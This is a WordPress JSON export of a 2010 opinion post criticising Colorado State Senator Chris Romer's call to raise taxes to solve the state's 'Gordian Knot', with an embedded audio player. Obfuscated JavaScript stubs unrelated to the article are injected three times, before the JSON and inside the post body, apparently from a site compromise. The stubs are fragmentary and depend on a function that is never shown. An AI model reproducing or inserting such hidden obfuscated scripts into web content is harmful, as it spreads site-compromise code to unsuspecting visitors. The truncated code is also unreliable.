<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}</script>{"id":450,"date":"2010-04-16T19:31:23","date_gmt":"2010-04-17T01:31:23","guid":{"rendered":"http:\/\/www.jsharf.com\/view\/?p=450"},"modified":"2010-04-16T19:31:23","modified_gmt":"2010-04-17T01:31:23","slug":"the-power-to-tax","status":"publish","type":"post","link":"http:\/\/www.jsharf.com\/view\/?p=450","title":{"rendered":"The Power to Tax&#8230;"},"content":{"rendered":"<p>&#8230; is the power to attract Fortune 500 companies.\u00a0 At least <a href=\"http:\/\/www.jsharf.com\/sound\/ChrisRomerOnTaxes.mp3\" target=\"_blank\">according to  State Senator Chris Romer<\/a> (click for Audio).<\/p>\n<blockquote><p>I don&#8217;t  think you&#8217;ll get any more Fortune 500 companies until we lean to solve  the Gordian Knot.\u00a0 So sir, we are not gonna get what you want, until we  learn to raise our taxes.\u00a0 Bottom line.<\/p><\/blockquote>\n<p>At some level, it&#8217;s refreshing to hear Sen. Romer defending corporate welfare so vigorously.\u00a0 But of course, that&#8217;s not really what he&#8217;s doing.\u00a0 The Gordian Knot he refers to is the logjam of Amendment 23, the Gallagher Amendment (which apportions personal and corporate property taxes) and TABOR, which limits how much money the state can take in.\u00a0 Amendment 23 requires increased spending on K-12, a sacrament for the left.<\/p>\n<p>So next time, when you hear someone (read, Rep. Lois Court) referring to solving the Gordian Knot, you&#8217;ll know the code.\u00a0 Having added dozens of programs, hundreds of employees, and hundreds of millions of dollars to the state budget over the last 6 years, they&#8217;ll talk about &#8220;solving the Gordian Knot&#8221; in order to avoid &#8220;sucking the marrow&#8221; out of the state government.<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n<div class=\"powerpress_player\" id=\"powerpress_player_7180\"><!--[if lt IE 9]><script>document.createElement('audio');<\/script><![endif]-->\n<audio class=\"wp-audio-shortcode\" id=\"audio-450-1\" preload=\"none\" style=\"width: 100%;\" controls=\"controls\"><source type=\"audio\/mpeg\" src=\"http:\/\/www.jsharf.com\/sound\/ChrisRomerOnTaxes.mp3?_=1\" \/><a href=\"http:\/\/www.jsharf.com\/sound\/ChrisRomerOnTaxes.mp3\">http:\/\/www.jsharf.com\/sound\/ChrisRomerOnTaxes.mp3<\/a><\/audio><\/div><p class=\"powerpress_links powerpress_links_mp3\" style=\"margin-bottom: 1px !important;\">Podcast: <a href=\"http:\/\/www.jsharf.com\/sound\/ChrisRomerOnTaxes.mp3\" class=\"powerpress_link_pinw\" target=\"_blank\" title=\"Play in new window\" onclick=\"return powerpress_pinw('http:\/\/www.jsharf.com\/view\/?powerpress_pinw=450-podcast');\" rel=\"nofollow\">Play in new window<\/a> | <a href=\"http:\/\/www.jsharf.com\/sound\/ChrisRomerOnTaxes.mp3\" class=\"powerpress_link_d\" title=\"Download\" rel=\"nofollow\" download=\"ChrisRomerOnTaxes.mp3\">Download<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>&#8230; is the power to attract Fortune 500 companies.\u00a0 At least according to State Senator Chris Romer (click for Audio). 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